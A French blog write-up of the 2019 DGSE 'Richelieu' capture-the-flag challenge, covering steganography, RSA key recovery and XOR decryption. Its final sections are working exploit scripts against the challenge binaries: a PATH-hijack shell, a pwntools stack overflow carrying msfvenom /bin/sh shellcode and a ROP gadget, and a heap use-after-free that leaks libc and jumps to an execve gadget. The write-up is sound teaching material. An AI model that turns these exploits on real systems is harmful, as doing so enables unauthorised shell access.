Richelieu, à nous 4 Cardinal (Writeup)

Depuis le mois de mai, et jusqu’au 14 juin 2019, la Direction Générale de la Sécurité Extérieure propose un CTF, un concours de hacking éthique. Mission, recruter son personnel « geek ». (cf. https://www.zataz.com/concours-dgse-richelieu/)

Le challenge Richelieu commence sur le site https://www.challengecybersec.fr/.

Les éléments de l’article sont sur le Github de Pirates.RE.

Il faut regarder dans le code source de la page et télécharger le fichier PDF.

A la lecture du fichier Richelieu.pdf, nous devons remarquer la colonne de gauche (il y a forcément un truc dans ces 364 pages).

Avec Acrobat Reader nous devons sélectionner tout le texte (Ctrl+A) et le copier (Ctrl+C) puis créer un nouveau fichier texte et coller (Ctrl+V) le contenu.

Je me suis compliqué la vie à faire un script pour décoder le base64 (mais la commande « base64 -d » aurait pu faire ce travail).

#!/usr/bin/env python2.7

def read_file_to_buffer(path_to_file, mode) :
  from os.path import isfile

  if(not(isfile(path_to_file))) : return(False)
  try :
    with open(path_to_file, mode) as file_stream :
      file_content = file_stream.read()
  except Exception as Exception_Error :
    print("%s", (Exception_Error))
    return(False)
  return(file_content)

def write_file(path_to_file, mode, data) :
  try :
    with open(path_to_file, mode) as written_file :
      written_file.write(data)
  except IOError :
    return(False)
  print(" writting:\t%s" % (path_to_file))
  return(True)

data = read_file_to_buffer("Richelieu.b64.txt", 'r').replace("\r\n", '')
from base64 import b64decode

write_file("Richelieu.bin", 'w', b64decode(data))

J’ai utilisé la commande « file » pour détecter le type de fichier, c’est une image au format JPG.

Avec un éditeur hexadécimal (incontournable), nous passons en revu le fichier et à la fin de celui-ci, nous observons une structure qui ressemble à un fichier Zip (il y a des entêtes PK et un mot de passe).

J’ai utilisé 7z sur l’image elle-même avec le mot de passe « DGSE{[email protected]^A%n9FQB~_VL7Zn8z=:K^4ikE=j0EGHqI} » pour extraire les données du Zip (c’est bourrin mais ça fonctionne).

A l’intérieur du fichier Zip, nous découvrons bien sûre des fichiers cryptés, mais également :

  • une clé publique RSA,
  • le prime1 de la clé RSA (un peu modifié),
  • un historique des commandes bash,
  • le fichier suite.zip

Pour commencer, nous nous intéressons au fichier « .bash_history ».

Celui-ci nous donnes des informations essentielles pour casser la clé RSA de 4096 bits.

Nous observons que le prime1 de la clé RSA à été modifié par une série de « sed ».

Notre premier travail est de recalculer le bon prime pour notre clé RSA.

Personnellement, j’ai pris pour habitude de ne pas compliquer mon code pour éviter les erreurs toutes bêtes (surtout en mode CTF). Alors j’ai commencé par créer un dictionnaire de primes.

#!/usr/bin/env python2.7

def write_file(path_to_file, mode, data) :
  try :
    with open(path_to_file, mode) as written_file :
      written_file.write(data)
  except IOError :
    return(False)
  print(" writting:\t%s" % (path_to_file))
  return(True)

prime_mask = "00:I1A:40:dc:44:ba:03:d1:53:42:f7:59:08:e0:f9:30:05:96:64:4a:de:94:68:5e:08:e2:8c:9a:b1:64:0c:2f:62:c2:9a:b9:a2:39:82:4b:9e:be:eb:76:ae:6d:87:21:a3:5e:9e:d9:8d:7e:I7:38:3e:59:09:34:a5:78:I10:f7:2e:89:5d:5c:37:52:ea:fd:f6:31:cc:ba:d2:d9:60:e4:45:1d:67:76:d2:1f:I5:9c:9d:c9:b1:90:45:51:ed:d2:I2:dd:b6:74:b4:99:I3:b1:0a:d9:b7:c2:be:8b:I8:07:22:0a:8e:3a:36:ff:6d:c1:1d:63:93:af:cb:4e:c0:47:9f:65:bf:df:e3:f0:5f:1e:98:61:45:74:ec:36:a7:a5:b1:f1:8d:3d:97:6b:5a:82:49:09:00:08:0d:9d:c2:74:I9:4e:30:a1:39:68:2f:22:34:71:13:aa:3b:f2:20:4f:8e:10:eb:d4:d0:9b:I11:8c:c2:53:5f:9d:71:13:0c:0f:21:b6:6e:13:39:40:d3:a6:b1:eb:74:ad:dd:0a:29:14:81:b1:90:ad:e0:53:f0:89:c8:00:fe:dc:ad:56:59:fc:28:1d:c0:cf:5e:08:c0:I6:33:24:a3:52:bb:f3:25:10:43:c3:73:b8:40:4f:fc:6b:6b:77:bd:5f:22:24:eb:I4:15"

candidate = ""
for a in range(2) :
  key = ["7f", "fb"]
  p = prime_mask.replace("I1A", key[a])
  candidate = candidate + p + '\n'
write_file("candidates1.txt", 'w+', candidate)

candidate = ""
with open("candidates1.txt") as f :
  for line in f :
    for k in ["7f", "fb"] :
      p = line.replace("I2", k)
      candidate = candidate + p + '\n'
write_file("candidates2.txt", 'w+', candidate)

candidate = ""
with open("candidates2.txt") as f :
  for line in f :
    for k in ["7f", "fb"] :
      p = line.replace("I3", k)
      candidate = candidate + p + '\n'
write_file("candidates3.txt", 'w+', candidate)

candidate = ""
with open("candidates3.txt") as f :
  for line in f :
    for k in ["7f", "fb"] :
      p = line.replace("I4", k)
      candidate = candidate + p + '\n'
write_file("candidates4.txt", 'w+', candidate)

candidate = ""
with open("candidates4.txt") as f :
  for line in f :
    for k in ["f4", "12"] :
      p = line.replace("I5", k)
      candidate = candidate + p + '\n'
write_file("candidates5.txt", 'w+', candidate)

candidate = ""
with open("candidates5.txt") as f :
  for line in f :
    for k in ["16", "54"] :
      p = line.replace("I6", k)
      candidate = candidate + p + '\n'
write_file("candidates6.txt", 'w+', candidate)

candidate = ""
with open("candidates6.txt") as f :
  for line in f :
    for k in ["a4", "57"] :
      p = line.replace("I7", k)
      candidate = candidate + p + '\n'
write_file("candidates7.txt", 'w+', candidate)

candidate = ""
with open("candidates7.txt") as f :
  for line in f :
    for k in ["a4", "57"] :
      p = line.replace("I8", k)
      candidate = candidate + p + '\n'
write_file("candidates8.txt", 'w+', candidate)

candidate = ""
with open("candidates8.txt") as f :
  for line in f :
    for k in ["a4", "57"] :
      p = line.replace("I9", k)
      candidate = candidate + p + '\n'
write_file("candidates9.txt", 'w+', candidate)

candidate = ""
with open("candidates9.txt") as f :
  for line in f :
    for k in ["b5", "cd"] :
      p = line.replace("I10", k)
      candidate = candidate + p + '\n'
write_file("candidates10.txt", 'w+', candidate)

candidate = ""
with open("candidates10.txt") as f :
  for line in f :
    for k in ["b5", "cd"] :
      p = line.replace("I11", k)
      candidate = candidate + p + '\n'
write_file("candidates11.txt", 'w+', candidate)

Ensuite, il faut extraire le modulus et l’exposant de la clé RSA (nécessaires pour retrouver le prime2).

Vous pouvez lire l’article Breaking RSA Cryptosystem pour plus d’informations.

En gros, nous avons le modulus et le prime1, alors, pour trouver le prime2 il faut faire le calcule inverse de : modulus = prime1 * prime2.

Nous devons faire le calcul en tenant compte que prime2 doit être un nombre premier :

  • prime2 = modulus / prime1
modulus = "00:cd:5f:8a:24:c7:60:50:08:89:7a:3c:92:2c:0e:81:2e:76:9d:e0:a4:64:42:c3:50:cb:78:c7:86:85:39:f3:d3:8a:ac:80:b3:e6:a5:06:60:59:10:e8:59:98:06:b4:d1:d1:48:f2:f6:b8:1d:a0:47:96:a8:a5:ae:e1:8f:29:e8:3e:16:77:5a:2a:0a:00:87:05:41:f6:57:4e:d1:43:86:36:ae:0a:0c:11:6e:07:10:4f:48:f7:20:94:86:3a:38:69:e1:c8:fc:22:06:27:27:89:62:fb:22:87:3e:31:56:f1:8e:55:de:c9:4e:97:00:64:ec:7f:4e:0e:88:45:40:12:e2:fd:5d:fe:5f:8d:19:bf:17:0f:9c:cb:3f:46:e0:fd:10:19:bc:b0:2d:90:83:a0:70:3c:61:7f:99:63:79:e6:47:83:54:a7:3a:e6:e6:ac:bc:e1:f4:33:3e:cf:af:24:36:6a:3e:97:7d:3c:d3:cb:fe:8d:8a:38:7b:d8:76:bf:da:b8:48:8f:6f:47:bf:1f:be:33:01:0f:d2:d7:e2:2b:4d:b2:e5:67:78:3c:e0:b6:06:db:86:b9:37:59:71:4c:4f:63:96:a7:fb:9f:74:c4:02:10:43:b0:f3:d4:6d:26:33:eb:d4:3a:87:78:63:df:7d:68:0f:50:65:87:c1:19:dd:64:10:0c:a8:31:ce:2a:f3:3d:95:1b:52:4c:5f:06:b4:9f:5b:f2:cb:38:1e:74:18:19:30:d0:6a:80:50:5c:06:ab:d5:bf:48:70:f0:c9:fb:58:1b:d8:0d:ba:88:96:60:63:9f:93:6e:de:a8:fe:5d:0c:9e:ae:58:06:2e:d6:93:25:25:83:c7:1c:c7:82:ba:61:3e:01:43:8e:69:b4:3f:9e:64:ec:a8:4f:9e:a0:4e:81:1a:d7:b3:9e:fd:78:76:d1:b6:b5:01:c4:f4:8a:cc:e6:f2:42:39:f6:c0:40:28:78:81:35:cd:88:c3:d1:5b:e0:f2:eb:b7:de:9e:9c:19:a7:a9:30:37:00:5e:e0:a9:a6:40:ba:da:33:2e:c0:d0:5e:e9:f0:8a:83:23:54:a0:48:7a:92:7d:5e:88:06:6e:25:69:e6:c5:d4:68:8e:42:2b:fa:0b:27:c6:17:1c:6d:7b:f0:29:bf:d9:16:57:52:af:19:aa:71:b3:3a:1e:a7:0b:6c:37:1f:b2:1e:47:f5:27:d8:0b:7d:04:f5:82:ad:9f:99:35:af:72:36:82:dc:01:ca:98:80:62:18:70:de:cb:7a:d1:56:48:cd:f4:ef:15:30:16:f3:e6:d8:79:33:b8:ec:54:cf:a1:fd:f8:7c:46:70:20:a3:e7:53"
modulus = modulus.replace(':', '')
exponant = 65537

with open("primes.lst") as dictionary :
  for candidate in dictionary :
    candidate = long(candidate.strip('\n').replace(':', ''), 16)
    if (long(modulus, 16) % long(candidate) == 0) :
      print('-' * 80)
      prime1 = candidate
      prime2 = long(modulus, 16) / prime1
      # print("rsactftool -n %i -p %i -q %i -e %i --private" % (long(modulus, 16), prime1, prime2, exponant))
      print("rsactftool -n %i -p %i -q %i -e %i --uncipherfile motDePasseGPG.txt.enc" % (long(modulus, 16), prime1, prime2, exponant))

Je profite du script pour générer les commandes « rsactftool » pour obtenir :

  • la clé privée (pour le fun).
  • le décryptage du fichier « motDePasseGPG.txt.enc ».

Le mot de passe obtenu nous donne accès à l’étape suivante, une autre épreuve de stéganographie.

Le nom du fichier nous donne un indice (LSB/RGB) il faut regarder là dedans ! J’ai utilisé Stegsolve et testé plusieurs possibilité jusqu’à découvrir une entête ELF (binaire sou Linux).

J’ai exorté le fichier en cliquant sur le bouton « Save Bin ».

Avec un script Python, j’ai nettoyé le fichier (en supprimant les colonnes et espaces inutiles) et utiliser la commande « xxd » pour reconstituer le binaire.

#!/usr/bin/env python2.7

def write_file(path_to_file, mode, data) :
  try :
    with open(path_to_file, mode) as written_file :
      written_file.write(data)
  except IOError :
    return(False)
  print(" writting:\t%s" % (path_to_file))
  return(True)

data = ""
with open("elf_payload.bin") as f :
  for line in f :
    data = data + line[10:-19].replace(' ', '')

write_file("elf_cleaned.bin", "w", data)

Avec un éditeur hexadécimal, nous pouvons nous apercevoir que le fichier est « packer » avec UPX. Sauf que … les chaînes UPX ont été remplacé par ALD.

Je connaissais cette technique qui est/était utilisée par certains Malwares pour « bypassser » les contrôles antivirus (merci la veille sécurité).

Rien de compliqué, il faut remplacer les chaînes de caractères ALD par UPX et décompresser le binaire.

Ensuite, avec un désassembleur (IDA), j’ai tout simplement recherché dans les fonctions.

Ci-dessous, La valeur « 0x33h » est utilisée pour faire un « xor ecx, esi », puis plus loin dans la boucle, la clé XoR prend comme valeur le caractère courrant sous sa forme crypté (0x77, 0x30, 0x63, …) et ainsi de suite jusqu’à la fin de la chaîne.

Étrangement, çà me rappelle le schéma utilisé par le malware #Emotet (voir les articles sur Emotet part. [I] et [II]), du coup, pas besoin d’analyse dynamique pour coder tout ça, je connais déja le schéma.

#!/usr/bin/env python2.7

enc_password = [ 0x77, 0x30, 0x63, 0x26, 0x5D, 0x3A, 0x0E, 0x3B, 0x0D, 0x4D, 0x2A, 0x1F, 0x2E, 0x1F, 0x2D, 0x4F, 0x28, 0x51, 0x37, 0x7A, 0x14, 0x76, 0x20, 0x78, 0x0F, 0x21, 0x4D, 0x21, 0x6C, 0x11 ]
key = 0x33
from binascii import unhexlify

decrypted = ""
for e in enc_password :
  d = e ^ key
  key = e
  decrypted = decrypted + unhexlify(str(hex(d)).replace("0x", ''))

print("[*] flag: %s" % (decrypted))

Nous obtenons le flag : DGSE{[email protected]}

Ceci nous donnes accès au fichier suite.zip

Mon humour d’autiste Asperger à appelé cette série d’épreuves les trois coquillages en référence au film … Demolition Man.

 

Defi1 (exploiting system call when full path is missing)

Nous devons nous connecter sur le serveur avec les identifiants fourni dans le fichier suite.zip que nous venons de décrypter.

Nous pouvons utiliser la commande « base64 » pour encoder le binaire et le récupérer en local pour notre travail.

Puis en local, avec GDB nous observons que le programme fait appel au binaire « bash » et « date ».

Et avec la commande « ltrace » nous observons la fonction « system() » qui fait appel au programme « date » (sans spécifier le chemin complèt « /usr/bin/date »).

Pour plus d’information, vous pouvez consulter le lien suivant : https://www.go4expert.com/articles/exploit-c-t24920/

Pour l’exploitation, nous pouvons faire un petit programme en c qui remplacera l’exécution du programme légitime « date » par un shell (notre premier coquillage).

# include <stdlib.h>

//<! gcc exploit.c -o exploit
void main(void) {
  system("/bin/sh");
  exit(0);
}

Et modifier la variable d’environnement $PATH pour ajouter le répertoire où nous stockerons notre exploit.

Defi2 (Buffer overflow with ASLR enabled)

Pour ce deuxième défi, nous devons provoquer un « buffer overflow », mais attention l’ASLR est activée, ce qui rend plus difficile l’exploitation.

Vous pouvez vous référer au lien suivant pour comprendre : http://www.sheepshellcode.com/blog/2015/03/24/writing-buffer-overflow-exploits-with-aslr/

Nous rapatrions en local le binaire pour l’étude de la vulnérabilité.

Pour commencer, nous pouvons rechercher la fonction de validation du mot de passe (en 5 minutes top chrono).

Nous pouvons avec ces informations en déduire un mot de passe valide : `[email protected]/9AA

Viens l’étape de « fuzzing » sur les inputs. Nous détectons un « overflow » sur le champ du mot de passe.

Nous contrôlons le registre RBP et nous observons le caractère ‘\0’ qui casse notre chaîne de caractères dans la stack.

Dans un premier temps, nous devons écrire une instruction qui doit nous permettre de « sauter » sur la stack (jmp rsp) depuis le registre RBP.

; nasm -f elf64 jmp_rsp.asm -o jmp_rsp.o
; objdump -d jmp_rsp.o
global _start
  _start:
  jmp rsp

Puis, écrire quelques instruction nop’s pour :

  • remplir convenablement le registre RBP.
  • passer au dessus du ‘\0’, mais ici, le simple fait d’écrire des nop’s n’est pas suffisant. Il faudra aussi décaler notre shellcode et jouer avec un jump inconditionnelle.

Ensuite, nous devons faire un « jmp rax » pour exécuter notre shellcode.

Avec ASLR, il faut utiliser un ROP gadget. Nous pouvons faire ceci avec un tas d’outils (ROPGadget, Ropper, …) mais la commande « dumprop » de peda nous fait ce travail.

Donc, nous recherchons un saut sur le registre RAX …

Il est temps d’écrire notre code d’exploitation.

J’ai utilisé pwntool (je ne connaissais pas, c’est génial …) et Metasploit-Framework pour générer un shellcode.

Aussi, le caractère ‘\0’ est considéré comme un « bad char », il ne doit pas apparaître dans notre shellcode (cf. msfvenom -p linux/x64/exec -f py CMD=/bin/sh –bad-chars ‘\x00’).

#!/usr/bin/env python2.7

from pwn import *
from sys import argv, exit


BIN_FILE = "./prog.bin"
CTX_OS = "linux"
CTX_TERM = "terminator"

GDB_SCRIPT = """
set pagination off
c
"""

## ----------------------------------------------------------------------------

def send_login(p, name) :
  p.recvuntil("login")
  p.sendline(name)

def send_pass(p, password) :
  p.recvuntil("pass")
  p.sendline(password)

def pwn(p) :
  from binascii import hexlify
  from struct import pack

  password = "`[email protected]/9AA"

  jmp_rsp = (6 * "\x90")                            ## nop
  jmp_rsp = jmp_rsp + "\xff\xe4"                    ## jmp rsp
  jmp_rsp = pack("L", int(hexlify(jmp_rsp), 16))

  ret = pack("L", 0x400538)                         ## 0x400538: call rax; add rsp,0x8; ret

  ## msfvenom -p linux/x64/exec -f py CMD=/bin/sh --bad-chars '\x00'
  shellcode =  ""
  shellcode += "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05"
  shellcode += "\xef\xff\xff\xff\x48\xbb\x44\xbb\x01\x01\xc4\xf3\xbf"
  shellcode += "\x10\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
  shellcode += "\x2e\x80\x59\x98\x8c\x48\x90\x72\x2d\xd5\x2e\x72\xac"
  shellcode += "\xf3\xec\x58\xcd\x5c\x69\x2c\xa7\xf3\xbf\x58\xcd\x5d"
  shellcode += "\x53\xe9\xcc\xf3\xbf\x10\x6b\xd9\x68\x6f\xeb\x80\xd7"
  shellcode += "\x10\x12\xec\x49\x88\x22\xfc\xba\x10"

  buf = password + ("A" * (48 - len(password)))
  buf = buf + jmp_rsp                               ## jmp rsp
  buf = buf + ret                                   ## call rax
  buf = buf + "\xeb\x10"                            ## jmp 0x10
  buf = buf + (0x10 * "\x90")                       ## rewrite '\0'
  buf = buf + shellcode                             ## exec /bin/sh
  # buf = buf + ((512 - len(buf)) * "\x90")
  
  send_login(p, "admin")
  send_pass(p, buf)

## ----------------------------------------------------------------------------

def entry_point() :
  context.terminal = CTX_TERM

  binary = BIN_FILE

  elf = ELF(binary)                                 ## setting pwntools context os/arch
  context.os = CTX_OS                               ## so that we won't have to specify it explicitly
  context.arch = elf.arch                           ## when using pwntools functions like asm etc.

  p = process(binary)

  if (len(argv) > 1) and (len(argv) < 3) :
    ## Command line arguments handling
    if(argv[1] == "--gdb") :
      gdb.attach(p, GDB_SCRIPT)
    elif(argv[1] == "--pause") :
      pause()

  pwn(p)
  p.interactive()

if(__name__ == "__main__") :
  entry_point()
  exit(0)

Puis, nous obtenons notre second shell.

Defi3 (Heap Exploitation – Use After Free – And … ASLR)

Pour comprendre cette étape, vous pouvez vous référer au lien suivant : https://0x00sec.org/t/heap-exploitation-playing-with-chunks/2055

En premier lieu, je désactive temporairement l’ASLR en local pour l’étude de l’exploitation, de cette façon, les adresses mémoire ne change pas et c’est plus facile.

Puis, notre objectif est provoquer une fuite de donnée et de trouver un emplacement mémoire à controler.

Nous pouvons faire ceci en ajoutant et en suprimant sratégiquement des enregistrements dans le « logiciel » (voir le lien ci-dessus).

Puis injecter une chaine de caractères arbitraires « AAAAAA » pour detecter l’exploiation.

Ensuite, testons de faire exécuter une fonction connu du logiciel.

Pour connaitre la liste de ces fonctions vous pouvez utiliser la commande « readelf –syms prog.bin ».

Ce qui nous donne ces possibilitées : free, strcpy, puts, strlen, printf, fgets, atoll, malloc, atoi, stdin.

J’ai commencé par trier les fonctions, il y a celles que l’on peut injecter et … les autres 🙂

Puis dans la liste des fonctions valides (injectable), j’ai utilisé la fonction « free() » que j’ai injecté dans : élément[1]->nom

Ceci modifi « élément[3]->nom » par l’adresse de la fonction « free() » dans « libc », c’est notre leak.

Interessant, nous pouvons ainsi utiliser la valeur de « élément[3]->nom » pour calculer l’adresse de base de la librairie « libc ».

Pour la suite, je ne me suis pas compliqué la vie. J’ai utilisé l’outil one_gadget pour trouver automatiquement un execve(‘/bin/sh’, NULL, NULL) dans le fichier libc.so.6.

Et pour chaque fonctions valides j’ai tester les ROP jusqu’à trouver la bonne contrainte :

  • [rsp+0x60] == NULL avec la fonction printf().

Ecriture du code d’exploitation en Python :

#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-

from pwn import *
from sys import argv, exit

BIN_FILE = "./prog.bin"

## Local:
## BIN_LIBC = "/usr/lib/libc.so.6"

## Remote:
BIN_LIBC = "/lib/x86_64-linux-gnu/libc.so.6"

CTX_OS = "linux"
CTX_TERM = "terminator"

GDB_SCRIPT = """
set pagination off
c
"""

## Local:
## 0xe6910 execve("/bin/sh", rsp+0x60, environ)
## constraints:
##   [rsp+0x60] == NULL

## Remote:
## 0xd6b9f execve("/bin/sh", rsp+0x60, environ)
## constraints:
##   [rsp+0x60] == NULL
ONESHOT = 0xd6b9f

## ----------------------------------------------------------------------------

def alloc(p, name, id = 1) :
  p.sendline('1')
  p.sendline(name)
  p.sendline(str(id))
  return()

def free_name(p, idx) :
  show(p)
  p.recvuntil("Que voulez-vous faire ?")
  p.sendline('3')
  p.sendline(str(idx))
  p.sendline('2')
  return()

def revaddr(addr):
  h = hex(addr)[2:]
  t = ""
  for i in xrange(len(h) - 2, -2, -2):
    m = i + 2
    t += chr(int(h[i:m], 16))
  return t

def show(p):
  p.sendline('2')
  return()

def pwn(p, elf) :
  elf_libc = ELF(BIN_LIBC)
  print

  alloc(p, 'A' * 1278, 'B' * 100)     # add name 0
  p.recv()
  alloc(p, 'C' * 1278, 'D' * 100)     # add name 1
  p.recv()
  alloc(p, 'E' * 1278, 'F' * 100)     # add name 2
  p.recv()
  free_name(p, 0)                     # freeing name 0
  p.recv()
  free_name(p, 1)                     # freeing name 1
  p.recv()
  alloc(p, 'G' * 12, 'H' * 100)       # add name 3
  p.recv()

  ## https://0x00sec.org/t/heap-exploitation-playing-with-chunks/2055
  """
  La table de symboles « .dynsym » contient 13 entrées :
   Num:    Valeur         Tail Type    Lien   Vis      Ndx Nom
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
     3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
     4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
     5: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
     6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
     7: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
     8: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
     9: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
    10: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
    11: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
    12: 0000000000602070     8 OBJECT  GLOBAL DEFAULT   25 [email protected]_2.2.5 (2)
  """
  p.sendline('4')
  p.sendline('1')
  p.sendline(revaddr(int(hex(elf.got['printf']), 16)))
  p.recv()

  show(p)
  leak = u64(p.recv()[1813:1819].ljust(8, '\x00'))
  log.info("leak:   0x{:x} (printf address)".format(leak))

  offset_printf = int(hex(elf_libc.symbols['printf']), 16)
  log.info("offset: 0x0000000{:x} (print location into libc)".format(offset_printf))

  libc_base = leak - offset_printf
  log.info("libc:   0x{:x} (libc base address)".format(libc_base))

  offset_oneshot = ONESHOT
  oneshot = libc_base + offset_oneshot
  log.info("rce:    0x{:x} (oneshot gadget)".format(oneshot))

  p.sendline('4')
  p.sendline('3')
  p.sendline(revaddr(oneshot))

  ## trigger for the shell
  show(p)

## ----------------------------------------------------------------------------

def entry_point() :
  context.terminal = CTX_TERM

  binary = BIN_FILE

  elf = ELF(binary)                   ## setting pwntools context os/arch
  context.os = CTX_OS                 ## so that we won't have to specify it explicitly
  context.arch = elf.arch             ## when using pwntools functions like asm etc.

  p = process([binary, "100"])

  if (len(argv) > 1) and (len(argv) < 3) :
  ## Command line arguments handling
    if(argv[1] == "--gdb") :
      gdb.attach(p, GDB_SCRIPT)
    elif(argv[1] == "--pause") :
      pause()

  pwn(p, elf)
  p.interactive()

if(__name__ == "__main__") :
  entry_point()
  exit(0)

Nous obtenons ainsi le flag de la dernière épreuve, avec, … le dernier des trois coquillages.

Reste plus qu’a envoyer un mail à l’adresse [email protected] avec le tag [challenge-Richelieu] et … écrire un Writeup.

Lorsque j’étais plus jeune (#macgyver), j’allais à la pêche avec mon grand père et souvant je m’amusais à détourner des petits cours d’eaux.

Pour détourner l’execution d’un programme, il faut suivre un peu le même principe.

Il ne faut surtout pas être trop brutal et accompagnier le flux que l’on détourne pour que se soit fait en douceur, sinon :

  • l’eau fini par devenir incontrolable.
  • vous provoquez un segmentation fault !

Et la pêche vous apprend la patience. On va dire que c’est ma version 2.0 de la pêche et ainsi, je perpétue la tradition.

Ce contenu a été publié dans Write-Ups. Vous pouvez le mettre en favoris avec ce permalien.